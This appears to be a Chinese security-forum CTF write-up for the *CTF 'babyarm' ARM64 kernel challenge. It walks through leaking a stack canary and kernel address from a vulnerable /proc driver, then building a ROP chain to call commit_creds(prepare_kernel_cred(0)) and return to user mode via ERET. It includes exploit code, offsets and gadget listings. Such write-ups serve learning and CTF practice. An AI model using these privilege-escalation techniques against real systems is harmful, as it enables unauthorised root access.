首页
社区
课程
招聘
[原创]*CTF babyarm内核题目分析
发表于: 2022-4-19 15:27 14712

[原创]*CTF babyarm内核题目分析

2022-4-19 15:27
14712

本文从漏洞分析、ARM64架构漏洞利用方式来讨论如何构造提权PoC达到读取root权限的文件。此题是一个ARM64架构的Linux 5.17.2 版本内核提权题目,目的是读取root用户的flag文件。

题目默认开启了KASLR地址随机化和PXN防护,指定CPU核心数量为一,线程为一。

使用cpio命令分离出驱动模块后放到IDA查看,只实现了readwrite函数的功能,功能相当简单。read函数把内核栈内容拷贝到全局变量demo_buf,然后再把demo_buf的内容拷贝到用户态缓冲区,长度不超过0x1000。其他不重要的信息可以不用看:

图片描述
write函数把用户态缓冲区内容拷贝到demo_buf,然后将demo_buf内容拷贝到内核栈中,同样长度不超过0x1000:

图片描述

知道模块的基本功能之后,现在来考虑利用方式。

第一步的泄露很简单,直接使用read函数功能就可以达到目的,代码如下:

这里编译的时候需要使用交叉编译为ARM64的程序。交叉编译环境的安装方式很简单:

编译exp:

重新打包后运行exp,根据泄露的结果得知第3个值是内核代码地址,第13个值是canary

图片描述
用ARM64的基础加载地址 0xffff800008000000 算出内核基址、commit_credsprepare_kernel_cred的地址:

接下来要考虑如何构造ROP链,如何返回用户态。

这里先了解一下ARM64汇编指令和x86_64指令的区别:

根据以上结论,我们需要控制ARM64的执行流,就需要控制X30寄存器,并给参数寄存器X0赋值。而现在内核栈是我们可控的,那么理论上就可以控制PC指针。

首先调用prepare_kernel_cred(0),参数为0,需要将X0赋值为0,ROPgadget工具不是很好用,直接手动找,在内核文件中找到如下gadget:

图片描述
这一部分控制了很多寄存器,可以极大的方便我们后续操作。通过调试偏移写出payload如下:

调试的时候发现一个问题,因为ARM64的RET指令并不会使用栈中的数据作为返回地址,而是使用X30寄存器的值,在prepare_kernel_cred函数结束后,由于X30寄存器还是之前的值,又再次执行了prepare_kernel_cred,这显然不是想要的结果。这里先看看ARM程序是怎么开辟栈帧的:

图片描述
这是在内核中随便找的函数,不用考虑这个函数做了什么,重点关注第一条指令和最后两条指令,第一条指令将X29和X30寄存器放入到栈中,最后两条指令平衡栈。如果去掉第一条指令,那么在平衡栈的时候就会将我们构造的内容给X29和X30。这里也看到ARM不像x86那样可以通过加减地址来获得不同的指令,ARM指令必须以四字节对齐为一个指令。所以在执行prepare_kernel_cred时应该地址加上四字节,执行commit_creds函数也是同理。调试修改上面的payload为如下:

执行完commit_creds(prepare_kernel_cred(0))后,当前exp进程的cred结构体已经是root,但内核栈已经被我们破坏掉了,继续执行会导致内核崩溃重启,此时需要手动返回用户态起shell。

需要知道的是ARM64使用SVC指令进入内核态,使用ERET指令返回用户态,同x86一样,ARM在进入内核态之前会保存用户态所有寄存器状态,在返回时恢复。其中比较重要的寄存器有SP_EL0、ELR_EL1、SPSR_EL1,它们保存内容分别如下:

我们手动恢复这几个寄存器,然后在调用ERET时就可以返回用户态执行函数了。而要找到恢复这些寄存器的gadget可以直接在调试器中单步跟随,找到内核何时返回用户态,然后直接使用这些gadget就行。内容如下:

观察这两段gadget,这些寄存器我们都可以控制,这就比较简单了,直接拿过来用就可以了,并且在执行完这段gadget后,会自动执行ERET指令,其实这段函数就是内核返回用户态的代码。指定上面三个关键寄存器的值,用户态栈地址可以随意指定一个,内核只做地址校验,并不会触发panic,ELR_EL1构造为用户态代码地址,最后修改payload如下:

完整PoC如下,最后执行system("/bin/sh")时,在clone系统调用时会失败,原因可能是因为某个ARM寄存器未还原,触发了缺页机制,会分配一个新的页,最后PC指针指向这个非法地址,无法获取shell,所以改成了ORW的方式读取flag:

完成读取root权限的文件flag:
图片描述

 
 
 
int fd = open("/proc/demo",2);
 
size_t leak[0x200] = {0};
read(fd, leak, 0x1f8);
for (int i = 0; i < 100; i++)
{
    printf("id %d : 0x%llx\n",i,leak[i]);
}
int fd = open("/proc/demo",2);
 
size_t leak[0x200] = {0};
read(fd, leak, 0x1f8);
for (int i = 0; i < 100; i++)
{
    printf("id %d : 0x%llx\n",i,leak[i]);
}
sudo apt-get install emdebian-archive-keyring
sudo apt-get install linux-libc-dev-arm64-cross libc6-arm64-cross
sudo apt-get install binutils-aarch64-linux-gnu gcc-8-aarch64-linux-gnu
sudo apt-get install g++-8-aarch64-linux-gnu
sudo apt-get install emdebian-archive-keyring
sudo apt-get install linux-libc-dev-arm64-cross libc6-arm64-cross
sudo apt-get install binutils-aarch64-linux-gnu gcc-8-aarch64-linux-gnu
sudo apt-get install g++-8-aarch64-linux-gnu
aarch64-linux-gnu-gcc-8 -static exp.c -o exp
aarch64-linux-gnu-gcc-8 -static exp.c -o exp
 
size_t commit_creds, prepare_kernel_cred = 0;
size_t kernel_base,offset = 0;
 
size_t kernel_addr = leak[2];
size_t canary = leak[12];
 
offset = kernel_addr - 0xffff8000082376f8;
kernel_base = 0xffff800008000000 + offset;
 
commit_creds = kernel_base + 0xa2258;
prepare_kernel_cred = kernel_base + 0xa24f8;
size_t commit_creds, prepare_kernel_cred = 0;
size_t kernel_base,offset = 0;
 
size_t kernel_addr = leak[2];
size_t canary = leak[12];
 
offset = kernel_addr - 0xffff8000082376f8;
kernel_base = 0xffff800008000000 + offset;
 
commit_creds = kernel_base + 0xa2258;
prepare_kernel_cred = kernel_base + 0xa24f8;
 
 
 
size_t gadget2 = kernel_base + 0x16950;
 
leak[13] = 0x4141414141414141;
leak[14] = 0x4141414141414141;
leak[16] = canary;
leak[18] = gadget2;
leak[21] = 0x8888888888888888;
leak[22] = prepare_kernel_cred;
size_t gadget2 = kernel_base + 0x16950;
 
leak[13] = 0x4141414141414141;
leak[14] = 0x4141414141414141;
leak[16] = canary;
leak[18] = gadget2;
leak[21] = 0x8888888888888888;
leak[22] = prepare_kernel_cred;
 
leak[13] = 0x4141414141414141;
leak[14] = 0x4141414141414141;
leak[16] = canary;
leak[18] = gadget2;
leak[19] = 0;
leak[20] = 0;
leak[21] = 0x8888888888888888;
leak[22] = prepare_kernel_cred + 4;
leak[32] = commit_creds + 4;
leak[36] = gadget2;
leak[37] = 0x7777777777777777;
leak[38] = canary;
leak[39] = 0x2222222222222222;
leak[40] = 0x3333333333333333;
leak[13] = 0x4141414141414141;
leak[14] = 0x4141414141414141;
leak[16] = canary;
leak[18] = gadget2;
leak[19] = 0;
leak[20] = 0;
leak[21] = 0x8888888888888888;
leak[22] = prepare_kernel_cred + 4;
leak[32] = commit_creds + 4;
leak[36] = gadget2;
leak[37] = 0x7777777777777777;
leak[38] = canary;
leak[39] = 0x2222222222222222;
leak[40] = 0x3333333333333333;
 
0xffff800008011fe4:    msr    sp_el0, x23
0xffff800008011fe8:    tst    x22, #0x10
0xffff800008011fec:    b.eq    0xffff800008011ff4  // b.none
0xffff800008011ff0:    nop
0xffff800008011ff4:    ldr    x0, [x28, #3432]
0xffff800008011ff8:    b    0xffff800008012024
 
0xffff800008012024:    msr    elr_el1, x21
0xffff800008012028:    msr    spsr_el1, x22
0xffff80000801202c:    ldp    x0, x1, [sp]
0xffff800008012030:    ldp    x2, x3, [sp, #16]
0xffff800008012034:    ldp    x4, x5, [sp, #32]
0xffff800008012038:    ldp    x6, x7, [sp, #48]
0xffff80000801203c:    ldp    x8, x9, [sp, #64]
0xffff800008012040:    ldp    x10, x11, [sp, #80]
0xffff800008012044:    ldp    x12, x13, [sp, #96]
0xffff800008012048:    ldp    x14, x15, [sp, #112]
0xffff80000801204c:    ldp    x16, x17, [sp, #128]
0xffff800008012050:    ldp    x18, x19, [sp, #144]
0xffff800008012054:    ldp    x20, x21, [sp, #160]
0xffff800008012058:    ldp    x22, x23, [sp, #176]
0xffff80000801205c:    ldp    x24, x25, [sp, #192]
0xffff800008012060:    ldp    x26, x27, [sp, #208]
0xffff800008012064:    ldp    x28, x29, [sp, #224]
0xffff800008012068:    nop
0xffff80000801206c:    nop
0xffff800008012070:    nop
0xffff800008011fe4:    msr    sp_el0, x23
0xffff800008011fe8:    tst    x22, #0x10
0xffff800008011fec:    b.eq    0xffff800008011ff4  // b.none
0xffff800008011ff0:    nop
0xffff800008011ff4:    ldr    x0, [x28, #3432]
0xffff800008011ff8:    b    0xffff800008012024
 
0xffff800008012024:    msr    elr_el1, x21
0xffff800008012028:    msr    spsr_el1, x22
0xffff80000801202c:    ldp    x0, x1, [sp]
0xffff800008012030:    ldp    x2, x3, [sp, #16]
0xffff800008012034:    ldp    x4, x5, [sp, #32]
0xffff800008012038:    ldp    x6, x7, [sp, #48]
0xffff80000801203c:    ldp    x8, x9, [sp, #64]
0xffff800008012040:    ldp    x10, x11, [sp, #80]
0xffff800008012044:    ldp    x12, x13, [sp, #96]
0xffff800008012048:    ldp    x14, x15, [sp, #112]
0xffff80000801204c:    ldp    x16, x17, [sp, #128]
0xffff800008012050:    ldp    x18, x19, [sp, #144]
0xffff800008012054:    ldp    x20, x21, [sp, #160]
0xffff800008012058:    ldp    x22, x23, [sp, #176]
0xffff80000801205c:    ldp    x24, x25, [sp, #192]
0xffff800008012060:    ldp    x26, x27, [sp, #208]
0xffff800008012064:    ldp    x28, x29, [sp, #224]
0xffff800008012068:    nop
0xffff80000801206c:    nop
0xffff800008012070:    nop
leak[13] = 0x4141414141414141;
leak[14] = 0x4141414141414141;
leak[16] = canary;
leak[18] = gadget2;
leak[19] = 0;
leak[20] = 0;
leak[21] = 0x8888888888888888;
leak[22] = prepare_kernel_cred + 4;
leak[32] = commit_creds + 4;
leak[33] = 0x1111111111111111;
 
leak[36] = gadget2;
leak[37] = 0x7777777777777777;
leak[38] = canary;
leak[39] = 0x2222222222222222;
leak[40] = 0x3333333333333333;
leak[41] = (size_t)leak;          // x29  far_el1=0x00ffffc150b790
 
leak[42] = kernel_base + 0x11fe4; // x30
 
leak[43] = 0x6666666666666666;    // x19
leak[44] = 0x7777777777777777;    // x20
leak[45] = (size_t)shell;         // x21   elr_el1=0x41f518
leak[46] = 0x80001000;            // x22   spsr_el1=0x80001000
leak[47] = (size_t)leak;          // x23   sp_el0=0x00ffffc150b790
leak[48] = 0x2222222222222222;    // x24
leak[49] = 0x3333333333333333;    // x25
leak[51] = 0x4444444444444444;
leak[13] = 0x4141414141414141;
leak[14] = 0x4141414141414141;
leak[16] = canary;
leak[18] = gadget2;
leak[19] = 0;
leak[20] = 0;
leak[21] = 0x8888888888888888;
leak[22] = prepare_kernel_cred + 4;
leak[32] = commit_creds + 4;

[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

收藏
免费 2
支持
分享
最新回复 (1)
雪    币: 1744
活跃值: (997)
能力值: ( LV5,RANK:60 )
在线值:
发帖
回帖
粉丝
2
题目附件和官方wp在这里:https://github.com/sixstars/starctf2022
2022-4-19 15:34
0
游客
登录 | 注册 方可回帖
返回
//